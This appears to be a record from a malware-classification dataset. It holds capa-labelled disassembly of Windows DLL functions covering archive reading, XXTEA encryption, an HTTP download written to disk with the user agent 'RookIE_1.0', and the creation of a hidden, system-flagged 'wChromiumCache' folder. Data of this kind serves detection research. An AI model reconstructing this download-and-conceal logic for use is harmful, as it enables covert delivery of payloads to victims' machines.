joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18003fa10
Capabilities:
Read file on windows

Disassembly:
push rsi
push r15
sub rsp, 0x68
cmp byte [rcx], 0
mov rsi, rcx
je 0x18003fa48
cmp byte [rcx + 1], 0
je 0x18003fa3d
mov rcx, qword [rcx + 8]
mov r9d, 2
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x18003fa4e
or eax, 0xffffffff
add rsp, 0x68
pop r15
pop rsi
ret
mov eax, dword [rcx + 0x28]
mov dword [rcx + 0x2c], eax
cmp byte [rsi], 0
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r13
je 0x18003faa0
cmp byte [rsi + 1], 0
je 0x18003fa93
mov rcx, qword [rsi + 8]
mov r9d, 1
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r12d, eax
sub r12d, dword [rsi + 0x14]
mov dword [rsp + 0x80], r12d
jmp 0x18003faac
xor r12d, r12d
mov dword [rsp + 0x80], r12d
jmp 0x18003faac
mov r12d, dword [rsi + 0x2c]
mov dword [rsp + 0x80], r12d
mov ebp, 0xffff
mov r13d, 0x404
cmp r12d, ebp
mov rcx, r13
cmovb ebp, r12d
mov dword [rsp + 0x98], ebp
call fcn.180052610
mov rdi, rax
test rax, rax
jne 0x18003fadd
or eax, 0xffffffff
jmp 0x18003fc32
mov qword [rsp + 0x60], rbx
mov ebx, 4
or r15d, 0xffffffff
cmp ebp, ebx
jbe 0x18003fc22
mov qword [rsp + 0x38], r14
nop dword [rax + rax]
lea eax, [rbx + 0x400]
mov r14d, r12d
cmp eax, ebp
mov ebx, eax
cmova ebx, ebp
sub r14d, ebx
sub r12d, r14d
cmp r12d, r13d
cmova r12d, r13d
cmp byte [rsi], 0
je 0x18003fb45
cmp byte [rsi + 1], 0
je 0x18003fc1d
mov eax, dword [rsi + 0x14]
mov rcx, qword [rsi + 8]
xor r9d, r9d
lea edx, [r14 + rax]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
jmp 0x18003fb49
mov dword [rsi + 0x2c], r14d
cmp byte [rsi], 0
mov ebp, r12d
mov r13d, r12d
je 0x18003fb8b
mov rcx, qword [rsi + 8]
lea r9, [rsp + 0x88]
mov r8d, ebp
mov rdx, rdi
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x18003fb7d
mov byte [rsi + 0x10], 1
mov eax, dword [rsp + 0x88]
xor edx, edx
div rbp
jmp 0x18003fbbd
mov ecx, dword [rsi + 0x2c]
mov edx, dword [rsi + 0x28]
lea eax, [rcx + r12]
cmp eax, edx
jbe 0x18003fb9f
mov r13d, edx
sub r13d, ecx
mov rdx, rcx
mov r8d, r13d
mov rcx, rdi
add rdx, qword [rsi + 0x20]
call fcn.180054180
add dword [rsi + 0x2c], r13d
xor edx, edx
mov eax, r13d
div rbp
cmp rax, 1
jne 0x18003fc1d
lea ecx, [r12 - 3]
movsxd rax, ecx
test ecx, ecx
js 0x18003fbfb
nop
dec rax
dec ecx
cmp byte [rax + rdi], 0x50
jne 0x18003fbf0
cmp byte [rax + rdi + 1], 0x4b
jne 0x18003fbf0
cmp byte [rax + rdi + 2], 5
jne 0x18003fbf0
cmp byte [rax + rdi + 3], 6
je 0x18003fbf7
test rax, rax
jns 0x18003fbd0
jmp 0x18003fbfb
lea r15d, [rcx + r14]
test r15d, r15d
jne 0x18003fc1d
mov ebp, dword [rsp + 0x98]
mov r12d, dword [rsp + 0x80]
mov r13d, 0x404
cmp ebx, ebp
jb 0x18003fb00
mov r14, qword [rsp + 0x38]
mov rcx, rdi
call fcn.1800525d0
mov rbx, qword [rsp + 0x60]
mov eax, r15d
mov r12, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov r13, qword [rsp + 0x40]
add rsp, 0x68
pop r15
pop rsi
ret
Function at 0x180040860
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
test rcx, rcx
jne 0x18004087e
mov eax, 0xffffff9a
add rsp, 0x28
pop rdi
pop rsi
ret
cmp dword [rcx + 0x1c], 0
je 0x180040872
cmp qword [rcx + 0x80], 0
je 0x180040893
call fcn.180040e20
lea r9, [rsp + 0x50]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
mov rcx, rdi
call fcn.180040570
test eax, eax
je 0x1800408ba
mov eax, 0xffffff99
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 0xb0
mov qword [rsp + 0x48], rbx
call fcn.180052610
mov rbx, rax
test rax, rax
jne 0x1800408e0
lea eax, [rbx - 0x68]
mov rbx, qword [rsp + 0x48]
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 0x4000
mov qword [rsp + 0x20], rbp
call fcn.180052610
mov ecx, dword [rsp + 0x40]
xor ebp, ebp
mov dword [rbx + 0x68], ecx
mov ecx, dword [rsp + 0x50]
mov qword [rbx], rax
mov dword [rbx + 0x70], ebp
mov dword [rbx + 0x6c], ecx
test rax, rax
jne 0x180040926
mov rcx, rbx
call fcn.1800525d0
mov rbx, qword [rsp + 0x48]
lea eax, [rbp - 0x68]
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov dword [rbx + 0x64], ebp
mov eax, dword [rdi + 0x40]
mov ecx, ebp
cmp dword [rdi + 0x38], ecx
mov dword [rbx + 0x78], eax
mov dword [rbx + 0x74], ebp
mov eax, dword [rdi + 0x38]
sete cl
mov dword [rbx + 0x90], eax
mov rax, qword [rdi]
mov qword [rbx + 0x88], rax
mov eax, dword [rdi + 0x10]
mov dword [rbx + 0x24], ebp
mov dword [rbx + 0x94], eax
test ecx, ecx
jne 0x18004097d
lea rcx, [rbx + 8]
mov qword [rbx + 0x38], rbp
mov qword [rbx + 0x40], rbp
mov qword [rbx + 0x48], rbp
call fcn.18003f180
test eax, eax
jne 0x18004097d
mov dword [rbx + 0x64], 1
mov eax, dword [rdi + 0x44]
mov dword [rbx + 0x7c], eax
mov eax, dword [rdi + 0x48]
mov dword [rbx + 0x80], eax
movzx eax, byte [rdi + 0x34]
and al, 1
mov byte [rbx + 0x98], al
mov eax, dword [rdi + 0x34]
shr eax, 3
test al, 1
je 0x1800409ae
movzx eax, byte [rdi + 0x3d]
mov byte [rbx + 0xac], al
jmp 0x1800409b8
movzx eax, byte [rdi + 0x43]
mov byte [rbx + 0xac], al
movzx eax, byte [rbx + 0x98]
mov dword [rbx + 0x9c], 0x12345678
mov dword [rbx + 0xa0], 0x23456789
neg al
mov dword [rbx + 0xa4], 0x34567890
sbb ecx, ecx
and ecx, 0xc
mov dword [rbx + 0xa8], ecx
test rsi, rsi
je 0x180040a5a
lea r8, [0x180078440]
movzx eax, byte [rsi]
test al, al
je 0x180040a5a
mov edx, dword [rbx + 0x9c]
mov rcx, rdx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov ecx, dword [r8 + rax*4]
xor ecx, edx
mov edx, dword [rbx + 0xa4]
movzx eax, cl
mov dword [rbx + 0x9c], ecx
movzx ecx, dl
add eax, dword [rbx + 0xa0]
shr edx, 8
imul eax, eax, 0x8088405
inc eax
mov dword [rbx + 0xa0], eax
movzx eax, byte [rbx + 0xa3]
xor rcx, rax
mov eax, dword [r8 + rcx*4]
xor eax, edx
add rsi, 1
mov dword [rbx + 0xa4], eax
jne 0x1800409f6
mov ecx, dword [rdi + 0x7c]
mov eax, dword [rsp + 0x58]
mov dword [rbx + 0x10], ebp
mov rbp, qword [rsp + 0x20]
lea ecx, [rcx + rax + 0x1e]
xor eax, eax
mov dword [rbx + 0x60], ecx
mov qword [rdi + 0x80], rbx
mov rbx, qword [rsp + 0x48]
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x180040f50
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x20
cmp qword [rcx], 0
mov rsi, rdx
mov rbx, rcx
jne 0x180041022
cmp dword [rcx + 8], 0xffffffff
jne 0x180041022
lea rdx, [rcx + 0x150]
mov ecx, 0x104
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x40], rdi
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbx + 0x150]
repne scasb al, byte [rdi]
not rcx
movzx eax, byte [rcx + rbx + 0x14e]
cmp al, 0x5c
je 0x180040fcc
cmp al, 0x2f
je 0x180040fcc
xor eax, eax
lea rdi, [rbx + 0x150]
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
movzx eax, word [0x180080268]
mov word [rdi - 1], ax
xor edx, edx
lea r9, [rsp + 0x30]
mov rcx, rsi
lea r8d, [rdx + 2]
call fcn.18003f6f0
mov rdi, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x38]
test rax, rax
jne 0x180040ffd
mov eax, dword [rsp + 0x30]
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
mov rcx, rax
call fcn.18003fc50
xor ecx, ecx
mov edx, 0x200
test rax, rax
mov qword [rbx], rax
cmove ecx, edx
mov eax, ecx
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret
mov eax, 0x1000000
mov rbx, qword [rsp + 0x48]
add rsp, 0x20
pop rsi
ret

Function at 0x180041620
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rbx, rdx
mov rdi, rcx
test rcx, rcx
je 0x180041660
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x180041660
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movzx eax, byte [rbx]
test al, al
je 0x18004172c
mov qword [rsp + 0x270], rsi
mov rcx, rbx
mov rsi, rbx
nop dword [rax]
cmp al, 0x2f
je 0x180041688
cmp al, 0x5c
jne 0x18004168b
mov rsi, rcx
mov al, byte [rcx + 1]
inc rcx
test al, al
jne 0x180041680
cmp rsi, rbx
je 0x1800416c8
sub rsi, rbx
lea rcx, [rsp + 0x130]
mov rdx, rbx
mov r8, rsi
call fcn.180054180
lea rdx, [rsp + 0x130]
mov rcx, rdi
mov byte [rsp + rsi + 0x130], 0
call fcn.180041620
mov rsi, qword [rsp + 0x270]
mov byte [rsp + 0x20], 0
test rdi, rdi
je 0x1800416f0
lea rcx, [rsp + 0x20]
sub rcx, rdi
movzx eax, byte [rdi]
inc rdi
mov byte [rcx + rdi - 1], al
test al, al
jne 0x1800416e2
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x20]
repne scasb al, byte [rdi]
xor ecx, ecx
nop
movzx eax, byte [rbx + rcx]
inc rcx
mov byte [rdi + rcx - 2], al
test al, al
jne 0x180041700
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x18004172c
lea rcx, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x278]
add rsp, 0x250
pop rdi
ret
Function at 0x180042580
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0x460
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x450], rax
mov rsi, rcx
mov rbx, rdx
lea rcx, str.RookIE_1.0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor dil, dil
mov dword [rsp + 0x20], 0
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rbp, rax
test rax, rax
je 0x180042694
xor r9d, r9d
xor r8d, r8d
mov rdx, rsi
mov rcx, rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x4000000
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rsi, rax
test rax, rax
je 0x18004268b
cmp qword [rbx + 0x20], 0x10
mov dword [rsp + 0x30], 1
jb 0x180042617
mov rcx, qword [rbx + 8]
jmp 0x18004261b
lea rcx, [rbx + 8]
lea rdx, [0x180082cd8]
call fcn.180050a28
mov rdi, rax
test rax, rax
je 0x18004267f
cmp dword [rsp + 0x30], 0
jbe 0x180042677
nop word [rax + rax]
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov r8d, 0x400
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rsp + 0x30]
lea rcx, [rsp + 0x40]
mov r9, rdi
mov edx, 1
call fcn.180050ccc
cmp dword [rsp + 0x30], 0
ja 0x180042640
mov rcx, rdi
call fcn.1800511e8
mov rcx, rsi
mov dil, 1
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call qword [sym.imp.WININET.dll_InternetCloseHandle]
cmp qword [rbx + 0x20], 0x10
jb 0x1800426a4
mov rcx, qword [rbx + 8]
call fcn.180050528
mov qword [rbx + 0x20], select
mov qword [rbx + 0x18], 0
mov al, dil
mov byte [rbx + 8], 0
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x490]
add rsp, 0x460
pop rdi
pop rsi
pop rbp
ret
Function at 0x1800433f0
Capabilities:
Encode data using xor
Encrypt data using tea

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push rbx
push rsi
push rdi
push r15
sub rsp, 0x38
mov rsi, rcx
lea ecx, [rdx - 1]
xor edx, edx
mov edi, dword [rsi + rcx*4]
lea r9d, [rcx + 1]
mov eax, reloc.WS2_32.dll_gethostbyname
div r9d
mov r15d, ecx
xor r11d, r11d
mov dword [rsp + 0x78], ecx
mov qword [rsp], r15
mov dword [rsp + 0x68], edi
lea ebx, [rax + 6]
cmp ecx, 1
jb 0x180043579
movsxd rax, ecx
mov qword [rsp + 8], rax
test ebx, ebx
je 0x180043579
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r13
mov qword [rsp + 0x18], r14
nop dword [rax]
add r11d, 0x9e3779b9
dec ebx
xor r12d, r12d
mov r10d, r11d
shr r10d, 2
and r10d, 3
test ecx, ecx
je 0x180043505
mov r14, rsi
mov rsi, qword [rsp + 0x70]
mov rbp, r15
mov r12d, r15d
mov r15d, dword [rsp + 0x68]
mov r13d, r10d
xor edi, edi
nop word [rax + rax]
mov edx, dword [r14 + 4]
mov eax, r15d
add r14, 4
shr eax, 5
lea r8d, [rdx*4]
mov ecx, edx
xor r8d, eax
shr ecx, 3
mov eax, r15d
shl eax, 4
xor ecx, eax
mov rax, rdi
inc rdi
add r8d, ecx
and eax, 3
xor rax, r13
mov ecx, dword [rsi + rax*4]
mov eax, r11d
xor ecx, r15d
xor eax, edx
add ecx, eax
xor r8d, ecx
add dword [r14 - 4], r8d
sub rbp, 1
mov r15d, dword [r14 - 4]
jne 0x1800434a0
mov rsi, qword [rsp + 0x60]
mov dword [rsp + 0x68], r15d
mov r15, qword [rsp]
mov edi, dword [rsp + 0x68]
mov r8d, dword [rsi]
mov eax, edi
shr eax, 5
mov ecx, r8d
lea r9d, [r8*4]
xor r9d, eax
shr ecx, 3
mov eax, edi
shl eax, 4
xor ecx, eax
mov eax, r10d
add r9d, ecx
mov ecx, r12d
and ecx, 3
xor rcx, rax
mov rax, qword [rsp + 0x70]
mov edx, dword [rax + rcx*4]
mov ecx, dword [rsp + 0x78]
mov eax, r11d
xor edx, edi
xor eax, r8d
add edx, eax
mov rax, qword [rsp + 8]
xor r9d, edx
add dword [rsi + rax*4], r9d
mov edi, dword [rsi + rax*4]
mov dword [rsp + 0x68], edi
test ebx, ebx
jne 0x180043460
mov r14, qword [rsp + 0x18]
mov r13, qword [rsp + 0x20]
mov r12, qword [rsp + 0x28]
mov rbp, qword [rsp + 0x30]
add rsp, 0x38
pop r15
pop rdi
pop rsi
pop rbx
ret
Function at 0x180043590
Capabilities:
Encrypt data using tea

Disassembly:
test edx, edx
je 0x180043707
mov qword [rsp + 0x18], r8
mov qword [rsp + 8], rcx
push r14
sub rsp, 0x30
mov qword [rsp + 0x48], rbx
lea ebx, [rdx - 1]
xor edx, edx
lea r9d, [rbx + 1]
mov eax, reloc.WS2_32.dll_gethostbyname
mov qword [rsp + 8], r13
mov r13d, dword [rcx]
div r9d
mov r14, rcx
lea r11d, [rax + 6]
imul r11d, r11d, 0x9e3779b9
cmp ebx, 1
jb 0x1800436f7
movsxd rax, ebx
test r11d, r11d
je 0x1800436f7
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x10], r12
mov qword [rsp], r15
lea r15, [rcx + rax*4]
nop word [rax + rax]
mov r10d, r11d
mov edi, ebx
shr r10d, 2
and r10d, 3
test ebx, ebx
je 0x180043686
mov r14, qword [rsp + 0x50]
mov r12d, r10d
mov esi, ebx
mov rbp, r15
nop
mov edx, dword [rbp - 4]
lea r8d, [r13*4]
mov ecx, r13d
shr ecx, 3
mov eax, edx
add rbp, 0xfffffffffffffffc
shr eax, 5
xor r8d, eax
mov eax, edx
shl eax, 4
xor ecx, eax
mov rax, rsi
dec rsi
add r8d, ecx
and eax, 3
xor rax, r12
mov ecx, dword [r14 + rax*4]
mov eax, r11d
xor eax, r13d
xor ecx, edx
add ecx, eax
xor r8d, ecx
sub dword [rbp + 4], r8d
add edi, 0xffffffff
mov r13d, dword [rbp + 4]
jne 0x180043630
mov r14, qword [rsp + 0x40]
mov r8d, dword [r15]
mov ecx, r13d
lea r9d, [r13*4]
shr ecx, 3
mov eax, r8d
shr eax, 5
xor r9d, eax
mov eax, r8d
shl eax, 4
xor ecx, eax
mov eax, r10d
add r9d, ecx
mov ecx, edi
and ecx, 3
xor rcx, rax
mov rax, qword [rsp + 0x50]
mov edx, dword [rax + rcx*4]
mov eax, r11d
xor eax, r13d
xor edx, r8d
add edx, eax
xor r9d, edx
sub dword [r14], r9d
add r11d, 0x61c88647
mov r13d, dword [r14]
jne 0x180043610
mov r15, qword [rsp]
mov r12, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
mov rsi, qword [rsp + 0x20]
mov rbp, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x48]
mov r13, qword [rsp + 8]
add rsp, 0x30
pop r14
repz ret
Function at 0x180044640
Capabilities:
Get file size
Read file on windows

Disassembly:
mov r11, rsp
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xa0
mov qword [rsp + 0x58], 0xfffffffffffffffe
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov rsi, rdx
mov r12, rcx
mov qword [rsp + 0x48], rcx
mov qword [r11 - 0x40], rdx
xor ebx, ebx
mov dword [rsp + 0x40], ebx
mov qword [r11 - 0x48], 0xf
mov qword [r11 - 0x50], rbx
mov byte [rsp + 0x68], bl
xor r8d, r8d
lea rdx, [0x18007584f]
lea rcx, [r11 - 0x68]
call fcn.1800026a0
nop
cmp qword [rsi + 0x20], 0x10
jb 0x1800446c0
lea r13, [rsi + 8]
mov rcx, qword [r13]
jmp 0x1800446c7
lea r13, [rsi + 8]
mov rcx, r13
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
test rax, rax
jne 0x18004476f
mov qword [r12 + 0x20], select
mov qword [r12 + 0x18], rbx
mov byte [r12 + 8], al
xor r8d, r8d
lea rdx, [0x18007584f]
mov rcx, r12
call fcn.1800026a0
nop
cmp qword [rsp + 0x80], 0x10
jb 0x180044730
mov rcx, qword [rsp + 0x68]
call fcn.180050528
mov qword [rsp + 0x80], select
mov qword [rsp + 0x78], rbx
mov byte [rsp + 0x68], 0
cmp qword [rsi + 0x20], 0x10
jb 0x180044756
mov rcx, qword [r13]
call fcn.180050528
mov qword [rsi + 0x20], select
mov qword [rsi + 0x18], rbx
mov byte [r13], 0
mov rax, r12
jmp 0x18004489f
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea ecx, [rax + 1]
mov eax, ecx
mov qword [rsp + 0x50], rax
call fcn.18004f9f8
mov r15, rax
mov r8, qword [rsp + 0x50]
xor edx, edx
mov rcx, rax
call fcn.180055310
mov qword [rsp + 0x20], rbx
lea r9, [rsp + 0x40]
mov r8d, edi
mov rdx, r15
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
or rcx, 0xffffffffffffffff
mov rdi, r15
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
mov rdx, r15
lea rcx, [rsp + 0x60]
call fcn.1800026a0
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.1800515dc
nop
mov qword [r12 + 0x20], select
mov qword [r12 + 0x18], rbx
mov byte [r12 + 8], 0
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, r12
call fcn.180002580
nop
cmp qword [rsp + 0x80], 0x10
jb 0x180044825
mov rcx, qword [rsp + 0x68]
call fcn.180050528
mov qword [rsp + 0x80], select
mov qword [rsp + 0x78], rbx
mov byte [rsp + 0x68], 0
cmp qword [rsi + 0x20], 0x10
jb 0x18004484b
mov rcx, qword [r13]
call fcn.180050528
mov qword [rsi + 0x20], select
mov qword [rsi + 0x18], rbx
mov byte [r13], 0
mov rax, r12
jmp 0x18004489f
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.180050540
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x180047650
Capabilities:
Create directory
Get common file path
Set file attributes

Disassembly:
push rdi
sub rsp, 0x1b0
mov qword [rsp + 0x30], 0xfffffffffffffffe
mov qword [rsp + 0x1c8], rbx
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov rbx, rcx
mov qword [rsp + 0x28], rcx
xor edi, edi
mov dword [rsp + 0x20], edi
mov qword [rcx + 0x20], select
mov qword [rcx + 0x18], rdi
mov byte [rcx + 8], dil
xor r8d, r8d
lea rdx, [0x18007584f]
call fcn.1800026a0
mov dword [rsp + 0x20], 1
mov qword [rsp + 0x80], select
mov qword [rsp + 0x78], rdi
mov byte [rsp + 0x68], dil
xor r8d, r8d
lea rdx, [0x18007584f]
lea rcx, [rsp + 0x60]
call fcn.1800026a0
nop
xor edx, edx
mov r8d, 0x104
lea rcx, [rsp + 0x90]
call fcn.180055310
xor r9d, r9d
lea r8d, [rdi + 0x1c]
lea rdx, [rsp + 0x90]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rsp + 0x90]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x60]
call fcn.1800026a0
mov r8d, select
lea rdx, str.wChromiumCache
lea rcx, [rsp + 0x60]
call fcn.1800074b0
lea rcx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0x10
cmovae rcx, qword [rsp + 0x68]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rcx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0x10
cmovae rcx, qword [rsp + 0x68]
xor edx, edx
call fcn.180054f78
cmp eax, 0xffffffff
je 0x1800477a3
lea rcx, [rsp + 0x68]
cmp qword [rsp + 0x80], 0x10
cmovae rcx, qword [rsp + 0x68]
mov edx, 3
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea r8, str.wChromium
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.1800073f0
nop
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rax
lea rcx, [0x18009d768]
call fcn.180002580
nop
cmp qword [rsp + 0x58], 0x10
jb 0x1800477e4
mov rcx, qword [rsp + 0x40]
call fcn.180050528
nop
cmp qword [rsp + 0x80], 0x10
jb 0x1800477fe
mov rcx, qword [rsp + 0x68]
call fcn.180050528
mov rax, rbx
jmp 0x180047801
mov rax, rbx
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0x1c8]
add rsp, 0x1b0
pop rdi
ret
Function at 0x180048a20
Capabilities:
Delete file

Disassembly:
mov r11, rsp
push rbp
push rsi
push rdi
push r12
push r13
sub rsp, 0x60
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [r11 + 0x20], rbx
mov rax, qword [0x1800964f0]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r12, r8
mov rdi, rdx
mov rsi, rcx
mov qword [r11 - 0x48], rcx
mov qword [r11 - 0x40], rdx
mov qword [r11 - 0x38], r8
cmp qword [r8 + 0x20], 0x10
jb 0x180048a70
lea r13, [r8 + 8]
mov rcx, qword [r13]
jmp 0x180048a77
lea r13, [r8 + 8]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0x78
call fcn.180051260
mov rbx, rax
test rax, rax
je 0x180048ac3
mov qword [rax + 0x20], select
xor ebp, ebp
mov qword [rax + 0x18], rbp
mov byte [rax + 8], bpl
mov qword [rax + 0x48], select
mov qword [rax + 0x40], rbp
mov byte [rax + 0x30], bpl
mov qword [rax + 0x70], select
mov qword [rax + 0x68], rbp
mov byte [rax + 0x58], bpl
jmp 0x180048ac8
xor ebp, ebp
mov rbx, rbp
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rsi
mov rcx, rbx
call fcn.180002580
lea rcx, [rbx + 0x28]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
call fcn.180002580
lea rcx, [rbx + 0x50]
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, r12
call fcn.180002580
mov dword [rsp + 0x30], ebp
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ebp
mov r9, rbx
lea r8, [0x180048c50]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
mov edx, 0x2710
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp qword [r12 + 0x20], 0x10
jb 0x180048b4e
mov rcx, qword [r13]
jmp 0x180048b51
mov rcx, r13
xor edx, edx
call fcn.180054f78
cmp eax, 0xffffffff
je 0x180048bc5
cmp qword [rsi + 0x20], 0x10
jb 0x180048b6d
mov rcx, qword [rsi + 8]
call fcn.180050528
mov qword [rsi + 0x20], select
mov qword [rsi + 0x18], rbp
mov byte [rsi + 8], 0
cmp qword [rdi + 0x20], 0x10
jb 0x180048b8d
mov rcx, qword [rdi + 8]
call fcn.180050528
mov qword [rdi + 0x20], select
mov qword [rdi + 0x18], rbp
mov byte [rdi + 8], 0
cmp qword [r12 + 0x20], 0x10
jb 0x180048bae
mov rcx, qword [r13]
call fcn.180050528
mov qword [r12 + 0x20], select
mov qword [r12 + 0x18], rbp
mov byte [r13], 0
mov al, 1
jmp 0x180048c2b
cmp qword [rsi + 0x20], 0x10
jb 0x180048bd5
mov rcx, qword [rsi + 8]
call fcn.180050528
mov qword [rsi + 0x20], select
mov qword [rsi + 0x18], rbp
mov byte [rsi + 8], 0
cmp qword [rdi + 0x20], 0x10
jb 0x180048bf5
mov rcx, qword [rdi + 8]
call fcn.180050528
mov qword [rdi + 0x20], select
mov qword [rdi + 0x18], rbp
mov byte [rdi + 8], 0
cmp qword [r12 + 0x20], 0x10
jb 0x180048c16
mov rcx, qword [r13]
call fcn.180050528
mov qword [r12 + 0x20], select
mov qword [r12 + 0x18], rbp
mov byte [r13], 0
xor al, al
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.180050540
mov rbx, qword [rsp + 0xa8]
add rsp, 0x60
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret